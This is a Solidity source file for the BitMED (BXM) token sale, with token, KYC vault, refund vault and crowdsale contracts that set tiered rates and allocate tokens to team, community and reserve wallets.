pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title LimitedTransferToken * @dev LimitedTransferToken defines the generic interface and the implementation to limit token * transferability for different events. It is intended to be used as a base class for other token * contracts. * LimitedTransferToken has been designed to allow for different limiting factors, * this can be achieved by recursively calling super.transferableTokens() until the base class is * hit. For example: * function transferableTokens(address holder, uint64 time) constant public returns (uint256) { * return min256(unlockedTokens, super.transferableTokens(holder, time)); * } * A working example is VestedToken.sol: * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/VestedToken.sol */ contract LimitedTransferToken is ERC20 { /** * @dev Checks whether it can transfer or otherwise throws. */ modifier canTransfer(address _sender, uint256 _value) { require(_value <= transferableTokens(_sender, uint64(block.timestamp))); _; } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _to The address that will receive the tokens. * @param _value The amount of tokens to be transferred. */ function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) { return super.transfer(_to, _value); } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _from The address that will send the tokens. * @param _to The address that will receive the tokens. * @param _value The amount of tokens to be transferred. */ function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Default transferable tokens function returns all tokens for a holder (no limit). * @dev Overwriting transferableTokens(address holder, uint64 time) is the way to provide the * specific logic for limiting token transferability for a holder over time. */ function transferableTokens(address holder, uint64 time) public view returns (uint256) { return balanceOf(holder); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Claimable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; MintFinished(); return true; } } /* Smart Token interface */ contract ISmartToken { // ================================================================================================================= // Members // ================================================================================================================= bool public transfersEnabled = false; // ================================================================================================================= // Event // ================================================================================================================= // triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory event NewSmartToken(address _token); // triggered when the total supply is increased event Issuance(uint256 _amount); // triggered when the total supply is decreased event Destruction(uint256 _amount); // ================================================================================================================= // Functions // ================================================================================================================= function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } /** BancorSmartToken */ contract LimitedTransferBancorSmartToken is MintableToken, ISmartToken, LimitedTransferToken { // ================================================================================================================= // Modifiers // ================================================================================================================= /** * @dev Throws if destroy flag is not enabled. */ modifier canDestroy() { require(destroyEnabled); _; } // ================================================================================================================= // Members // ================================================================================================================= // We add this flag to avoid users and owner from destroy tokens during crowdsale, // This flag is set to false by default and blocks destroy function, // We enable destroy option on finalize, so destroy will be possible after the crowdsale. bool public destroyEnabled = false; // ================================================================================================================= // Public Functions // ================================================================================================================= function setDestroyEnabled(bool _enable) onlyOwner public { destroyEnabled = _enable; } // ================================================================================================================= // Impl ISmartToken // ================================================================================================================= //@Override function disableTransfers(bool _disable) onlyOwner public { transfersEnabled = !_disable; } //@Override function issue(address _to, uint256 _amount) onlyOwner public { require(super.mint(_to, _amount)); Issuance(_amount); } //@Override function destroy(address _from, uint256 _amount) canDestroy public { require(msg.sender == _from || msg.sender == owner); // validate input balances[_from] = balances[_from].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); Destruction(_amount); Transfer(_from, 0x0, _amount); } // ================================================================================================================= // Impl LimitedTransferToken // ================================================================================================================= // Enable/Disable token transfer // Tokens will be locked in their wallets until the end of the Crowdsale. // @holder - token`s owner // @time - not used (framework unneeded functionality) // // @Override function transferableTokens(address holder, uint64 time) public constant returns (uint256) { require(transfersEnabled); return super.transferableTokens(holder, time); } } /** A Token which is &#39;Bancor&#39; compatible and can mint new tokens and pause token-transfer functionality */ contract BitMEDSmartToken is LimitedTransferBancorSmartToken { // ================================================================================================================= // Members // ================================================================================================================= string public constant name = "BitMED"; string public constant symbol = "BXM"; uint8 public constant decimals = 18; // ================================================================================================================= // Constructor // ================================================================================================================= function BitMEDSmartToken() public { //Apart of &#39;Bancor&#39; computability - triggered when a smart token is deployed NewSmartToken(address(this)); } } /** * @title Vault * @dev This wallet is used to */ contract Vault is Claimable { using SafeMath for uint256; // ================================================================================================================= // Enums // ================================================================================================================= enum State { KycPending, KycComplete } // ================================================================================================================= // Members // ================================================================================================================= mapping (address => uint256) public depositedETH; mapping (address => uint256) public depositedToken; BitMEDSmartToken public token; State public state; // ================================================================================================================= // Events // ================================================================================================================= event KycPending(); event KycComplete(); event Deposit(address indexed beneficiary, uint256 etherWeiAmount, uint256 tokenWeiAmount); event RemoveSupporter(address beneficiary); event TokensClaimed(address indexed beneficiary, uint256 weiAmount); // ================================================================================================================= // Modifiers // ================================================================================================================= modifier isKycPending() { require(state == State.KycPending); _; } modifier isKycComplete() { require(state == State.KycComplete); _; } // ================================================================================================================= // Ctors // ================================================================================================================= function Vault(BitMEDSmartToken _token) public { require(_token != address(0)); token = _token; state = State.KycPending; KycPending(); } // ================================================================================================================= // Public Functions // ================================================================================================================= function deposit(address supporter, uint256 tokensAmount, uint256 value) isKycPending onlyOwner public{ depositedETH[supporter] = depositedETH[supporter].add(value); depositedToken[supporter] = depositedToken[supporter].add(tokensAmount); Deposit(supporter, value, tokensAmount); } function kycComplete() isKycPending onlyOwner public { state = State.KycComplete; KycComplete(); } //@dev Remove a supporter and refund ether back to the supporter in returns of proportional amount of BXM back to the BitMED`s wallet function removeSupporter(address supporter) isKycPending onlyOwner public { require(supporter != address(0)); require(depositedETH[supporter] > 0); require(depositedToken[supporter] > 0); uint256 depositedTokenValue = depositedToken[supporter]; uint256 depositedETHValue = depositedETH[supporter]; //zero out the user depositedETH[supporter] = 0; depositedToken[supporter] = 0; token.destroy(address(this),depositedTokenValue); // We will manually refund the money. Checking against OFAC sanction list // https://sanctionssearch.ofac.treas.gov/ //supporter.transfer(depositedETHValue - 21000); RemoveSupporter(supporter); } //@dev Transfer tokens from the vault to the supporter while releasing proportional amount of ether to BitMED`s wallet. //Can be triggerd by the supporter only function claimTokens(uint256 tokensToClaim) isKycComplete public { require(tokensToClaim != 0); address supporter = msg.sender; require(depositedToken[supporter] > 0); uint256 depositedTokenValue = depositedToken[supporter]; uint256 depositedETHValue = depositedETH[supporter]; require(tokensToClaim <= depositedTokenValue); uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue); assert(claimedETH > 0); depositedETH[supporter] = depositedETHValue.sub(claimedETH); depositedToken[supporter] = depositedTokenValue.sub(tokensToClaim); token.transfer(supporter, tokensToClaim); TokensClaimed(supporter, tokensToClaim); } //@dev Transfer tokens from the vault to the supporter //Can be triggerd by the owner of the vault function claimAllSupporterTokensByOwner(address supporter) isKycComplete onlyOwner public { uint256 depositedTokenValue = depositedToken[supporter]; require(depositedTokenValue > 0); token.transfer(supporter, depositedTokenValue); TokensClaimed(supporter, depositedTokenValue); } // @dev supporter can claim tokens by calling the function // @param tokenToClaimAmount - amount of the token to claim function claimAllTokens() isKycComplete public { uint256 depositedTokenValue = depositedToken[msg.sender]; claimTokens(depositedTokenValue); } } /** * @title RefundVault * @dev This contract is used for storing TOKENS AND ETHER while a crowd sale is in progress for a period of 3 DAYS. * Supporter can ask for a full/part refund for his/her ether against token. Once tokens are Claimed by the supporter, they cannot be refunded. * After 3 days, all ether will be withdrawn from the vault`s wallet, leaving all tokens to be claimed by the their owners. **/ contract RefundVault is Claimable { using SafeMath for uint256; // ================================================================================================================= // Enums // ================================================================================================================= enum State { Active, Refunding, Closed } // ================================================================================================================= // Members // ================================================================================================================= // Refund time frame uint256 public constant REFUND_TIME_FRAME = 3 days; mapping (address => uint256) public depositedETH; mapping (address => uint256) public depositedToken; address public etherWallet; BitMEDSmartToken public token; State public state; uint256 public refundStartTime; // ================================================================================================================= // Events // ================================================================================================================= event Active(); event Closed(); event Deposit(address indexed beneficiary, uint256 etherWeiAmount, uint256 tokenWeiAmount); event RefundsEnabled(); event RefundedETH(address beneficiary, uint256 weiAmount); event TokensClaimed(address indexed beneficiary, uint256 weiAmount); // ================================================================================================================= // Modifiers // ================================================================================================================= modifier isActiveState() { require(state == State.Active); _; } modifier isRefundingState() { require(state == State.Refunding); _; } modifier isCloseState() { require(state == State.Closed); _; } modifier isRefundingOrCloseState() { require(state == State.Refunding || state == State.Closed); _; } modifier isInRefundTimeFrame() { require(refundStartTime <= block.timestamp && refundStartTime + REFUND_TIME_FRAME > block.timestamp); _; } modifier isRefundTimeFrameExceeded() { require(refundStartTime + REFUND_TIME_FRAME < block.timestamp); _; } // ================================================================================================================= // Ctors // ================================================================================================================= function RefundVault(address _etherWallet, BitMEDSmartToken _token) public { require(_etherWallet != address(0)); require(_token != address(0)); etherWallet = _etherWallet; token = _token; state = State.Active; Active(); } // ================================================================================================================= // Public Functions // ================================================================================================================= function deposit(address supporter, uint256 tokensAmount) isActiveState onlyOwner public payable { depositedETH[supporter] = depositedETH[supporter].add(msg.value); depositedToken[supporter] = depositedToken[supporter].add(tokensAmount); Deposit(supporter, msg.value, tokensAmount); } function close() isRefundingState onlyOwner isRefundTimeFrameExceeded public { state = State.Closed; Closed(); etherWallet.transfer(address(this).balance); } function enableRefunds() isActiveState onlyOwner public { state = State.Refunding; refundStartTime = block.timestamp; RefundsEnabled(); } //@dev Refund ether back to the supporter in returns of proportional amount of BXM back to the BitMED`s wallet function refundETH(uint256 ETHToRefundAmountWei) isInRefundTimeFrame isRefundingState public { require(ETHToRefundAmountWei != 0); uint256 depositedTokenValue = depositedToken[msg.sender]; uint256 depositedETHValue = depositedETH[msg.sender]; require(ETHToRefundAmountWei <= depositedETHValue); uint256 refundTokens = ETHToRefundAmountWei.mul(depositedTokenValue).div(depositedETHValue); assert(refundTokens > 0); depositedETH[msg.sender] = depositedETHValue.sub(ETHToRefundAmountWei); depositedToken[msg.sender] = depositedTokenValue.sub(refundTokens); token.destroy(address(this),refundTokens); msg.sender.transfer(ETHToRefundAmountWei); RefundedETH(msg.sender, ETHToRefundAmountWei); } //@dev Transfer tokens from the vault to the supporter while releasing proportional amount of ether to BitMED`s wallet. //Can be triggerd by the supporter only function claimTokens(uint256 tokensToClaim) isRefundingOrCloseState public { require(tokensToClaim != 0); address supporter = msg.sender; require(depositedToken[supporter] > 0); uint256 depositedTokenValue = depositedToken[supporter]; uint256 depositedETHValue = depositedETH[supporter]; require(tokensToClaim <= depositedTokenValue); uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue); assert(claimedETH > 0); depositedETH[supporter] = depositedETHValue.sub(claimedETH); depositedToken[supporter] = depositedTokenValue.sub(tokensToClaim); token.transfer(supporter, tokensToClaim); if(state != State.Closed) { etherWallet.transfer(claimedETH); } TokensClaimed(supporter, tokensToClaim); } //@dev Transfer tokens from the vault to the supporter while releasing proportional amount of ether to BitMED`s wallet. //Can be triggerd by the owner of the vault (in our case - BitMED`s owner after 3 days) function claimAllSupporterTokensByOwner(address supporter) isCloseState onlyOwner public { uint256 depositedTokenValue = depositedToken[supporter]; require(depositedTokenValue > 0); token.transfer(supporter, depositedTokenValue); TokensClaimed(supporter, depositedTokenValue); } // @dev supporter can claim tokens by calling the function // @param tokenToClaimAmount - amount of the token to claim function claimAllTokens() isRefundingOrCloseState public { uint256 depositedTokenValue = depositedToken[msg.sender]; claimTokens(depositedTokenValue); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold BitMEDSmartToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; // holding vault for all tokens pending KYC Vault public vault; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, BitMEDSmartToken _token, Vault _vault) public { require(_startTime >= block.timestamp); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); require(_vault != address(0)); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; token = _token; vault = _vault; } // fallback function can be used to buy tokens function() external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; require(weiAmount>500000000000000000); // calculate token amount to be created uint256 tokens = weiAmount.mul(getRate()); // update state weiRaised = weiRaised.add(weiAmount); //send tokens to KYC Vault token.issue(address(vault), tokens); // Updating arrays in the Vault vault.deposit(beneficiary, tokens, msg.value); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); // Transferring funds to wallet forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = block.timestamp >= startTime && block.timestamp <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return block.timestamp > endTime; } // @return the crowdsale rate function getRate() public view returns (uint256) { return rate; } } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Claimable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract&#39;s finalization function. */ function finalize() public onlyOwner { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } contract BitMEDCrowdsale is FinalizableCrowdsale { // ================================================================================================================= // Constants // ================================================================================================================= // Max amount of known addresses of which will get BXM by &#39;Grant&#39; method. // // grantees addresses will be BitMED wallets addresses. // these wallets will contain BXM tokens that will be used for one purposes only - // 1. BXM tokens against raised fiat money // we set the value to 10 (and not to 2) because we want to allow some flexibility for cases like fiat money that is raised close // to the crowdsale. we limit the value to 10 (and not larger) to limit the run time of the function that process the grantees array. uint8 public constant MAX_TOKEN_GRANTEES = 10; // BXM to ETH base rate uint256 public constant EXCHANGE_RATE = 210; // Refund division rate uint256 public constant REFUND_DIVISION_RATE = 2; // The min BXM tokens that should be minted for the public sale uint256 public constant MIN_TOKEN_SALE = 125000000000000000000000000; // ================================================================================================================= // Modifiers // ================================================================================================================= /** * @dev Throws if called not during the crowdsale time frame */ modifier onlyWhileSale() { require(isActive()); _; } // ================================================================================================================= // Members // ================================================================================================================= // wallets address for 75% of BXM allocation address public walletTeam; //10% of the total number of BXM tokens will be allocated to the team address public walletReserve; //35% of the total number of BXM tokens will be allocated to BitMED and as a reserve for the company to be used for future strategic plans for the created ecosystem address public walletCommunity; //30% of the total number of BXM tokens will be allocated to Community // Funds collected outside the crowdsale in wei uint256 public fiatRaisedConvertedToWei; //Grantees - used for non-ether and presale bonus token generation address[] public presaleGranteesMapKeys; mapping (address => uint256) public presaleGranteesMap; //address=>wei token amount // The refund vault RefundVault public refundVault; // ================================================================================================================= // Events // ================================================================================================================= event GrantAdded(address indexed _grantee, uint256 _amount); event GrantUpdated(address indexed _grantee, uint256 _oldAmount, uint256 _newAmount); event GrantDeleted(address indexed _grantee, uint256 _hadAmount); event FiatRaisedUpdated(address indexed _address, uint256 _fiatRaised); event TokenPurchaseWithGuarantee(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); // ================================================================================================================= // Constructors // ================================================================================================================= function BitMEDCrowdsale(uint256 _startTime, uint256 _endTime, address _wallet, address _walletTeam, address _walletCommunity, address _walletReserve, BitMEDSmartToken _BitMEDSmartToken, RefundVault _refundVault, Vault _vault) public Crowdsale(_startTime, _endTime, EXCHANGE_RATE, _wallet, _BitMEDSmartToken, _vault) { require(_walletTeam != address(0)); require(_walletCommunity != address(0)); require(_walletReserve != address(0)); require(_BitMEDSmartToken != address(0)); require(_refundVault != address(0)); require(_vault != address(0)); walletTeam = _walletTeam; walletCommunity = _walletCommunity; walletReserve = _walletReserve; token = _BitMEDSmartToken; refundVault = _refundVault; vault = _vault; } // ================================================================================================================= // Impl Crowdsale // ================================================================================================================= // @return the rate in BXM per 1 ETH according to the time of the tx and the BXM pricing program. // @Override function getRate() public view returns (uint256) { if (block.timestamp < (startTime.add(24 hours))) {return 700;} if (block.timestamp < (startTime.add(3 days))) {return 600;} if (block.timestamp < (startTime.add(5 days))) {return 500;} if (block.timestamp < (startTime.add(7 days))) {return 400;} if (block.timestamp < (startTime.add(10 days))) {return 350;} if (block.timestamp < (startTime.add(13 days))) {return 300;} if (block.timestamp < (startTime.add(16 days))) {return 285;} if (block.timestamp < (startTime.add(19 days))) {return 270;} if (block.timestamp < (startTime.add(22 days))) {return 260;} if (block.timestamp < (startTime.add(25 days))) {return 250;} if (block.timestamp < (startTime.add(28 days))) {return 240;} if (block.timestamp < (startTime.add(31 days))) {return 230;} if (block.timestamp < (startTime.add(34 days))) {return 225;} if (block.timestamp < (startTime.add(37 days))) {return 220;} if (block.timestamp < (startTime.add(40 days))) {return 215;} return rate; } // ================================================================================================================= // Impl FinalizableCrowdsale // ================================================================================================================= //@Override function finalization() internal { super.finalization(); // granting bonuses for the pre crowdsale grantees: for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) { token.issue(presaleGranteesMapKeys[i], presaleGranteesMap[presaleGranteesMapKeys[i]]); } //we want to make sure a min of 125M tokens are generated which equals the 25% of the crowdsale if(token.totalSupply() <= MIN_TOKEN_SALE){ uint256 missingTokens = MIN_TOKEN_SALE - token.totalSupply(); token.issue(walletCommunity, missingTokens); } // Adding 75% of the total token supply (25% were generated during the crowdsale) // 25 * 4 = 100 uint256 newTotalSupply = token.totalSupply().mul(400).div(100); // 10% of the total number of BXM tokens will be allocated to the team token.issue(walletTeam, newTotalSupply.mul(10).div(100)); // 30% of the total number of BXM tokens will be allocated to community token.issue(walletCommunity, newTotalSupply.mul(30).div(100)); // 35% of the total number of BXM tokens will be allocated to BitMED , // and as a reserve for the company to be used for future strategic plans for the created ecosystem token.issue(walletReserve, newTotalSupply.mul(35).div(100)); // Re-enable transfers after the token sale. token.disableTransfers(false); // Re-enable destroy function after the token sale. token.setDestroyEnabled(true); // Enable ETH refunds and token claim. refundVault.enableRefunds(); // transfer token ownership to crowdsale owner token.transferOwnership(owner); // transfer refundVault ownership to crowdsale owner refundVault.transferOwnership(owner); vault.transferOwnership(owner); } // ================================================================================================================= // Public Methods // ================================================================================================================= // @return the total funds collected in wei(ETH and none ETH). function getTotalFundsRaised() public view returns (uint256) { return fiatRaisedConvertedToWei.add(weiRaised); } // @return true if the crowdsale is active, hence users can buy tokens function isActive() public view returns (bool) { return block.timestamp >= startTime && block.timestamp < endTime; } // ================================================================================================================= // External Methods // ================================================================================================================= // @dev Adds/Updates address and token allocation for token grants. // Granted tokens are allocated to non-ether, presale, buyers. // @param _grantee address The address of the token grantee. // @param _value uint256 The value of the grant in wei token. function addUpdateGrantee(address _grantee, uint256 _value) external onlyOwner onlyWhileSale{ require(_grantee != address(0)); require(_value > 0); // Adding new key if not present: if (presaleGranteesMap[_grantee] == 0) { require(presaleGranteesMapKeys.length < MAX_TOKEN_GRANTEES); presaleGranteesMapKeys.push(_grantee); GrantAdded(_grantee, _value); } else { GrantUpdated(_grantee, presaleGranteesMap[_grantee], _value); } presaleGranteesMap[_grantee] = _value; } // @dev deletes entries from the grants list. // @param _grantee address The address of the token grantee. function deleteGrantee(address _grantee) external onlyOwner onlyWhileSale { require(_grantee != address(0)); require(presaleGranteesMap[_grantee] != 0); //delete from the map: delete presaleGranteesMap[_grantee]; //delete from the array (keys): uint256 index; for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) { if (presaleGranteesMapKeys[i] == _grantee) { index = i; break; } } presaleGranteesMapKeys[index] = presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1]; delete presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1]; presaleGranteesMapKeys.length--; GrantDeleted(_grantee, presaleGranteesMap[_grantee]); } // @dev Set funds collected outside the crowdsale in wei. // note: we not to use accumulator to allow flexibility in case of humane mistakes. // funds are converted to wei using the market conversion rate of USD\ETH on the day on the purchase. // @param _fiatRaisedConvertedToWei number of none eth raised. function setFiatRaisedConvertedToWei(uint256 _fiatRaisedConvertedToWei) external onlyOwner onlyWhileSale { fiatRaisedConvertedToWei = _fiatRaisedConvertedToWei; FiatRaisedUpdated(msg.sender, fiatRaisedConvertedToWei); } /// @dev Accepts new ownership on behalf of the BitMEDCrowdsale contract. This can be used, by the token sale /// contract itself to claim back ownership of the BitMEDSmartToken contract. function claimTokenOwnership() external onlyOwner { token.claimOwnership(); } /// @dev Accepts new ownership on behalf of the BitMEDCrowdsale contract. This can be used, by the token sale /// contract itself to claim back ownership of the refundVault contract. function claimRefundVaultOwnership() external onlyOwner { refundVault.claimOwnership(); } /// @dev Accepts new ownership on behalf of the BitMEDCrowdsale contract. This can be used, by the token sale /// contract itself to claim back ownership of the refundVault contract. function claimVaultOwnership() external onlyOwner { vault.claimOwnership(); } // @dev Buy tokes with guarantee function buyTokensWithGuarantee() public payable { require(validPurchase()); uint256 weiAmount = msg.value; require(weiAmount>500000000000000000); // calculate token amount to be created uint256 tokens = weiAmount.mul(getRate()); tokens = tokens.div(REFUND_DIVISION_RATE); // update state weiRaised = weiRaised.add(weiAmount); token.issue(address(refundVault), tokens); refundVault.deposit.value(msg.value)(msg.sender, tokens); TokenPurchaseWithGuarantee(msg.sender, address(refundVault), weiAmount, tokens); } }
Buy tokes with guarantee calculate token amount to be created update state
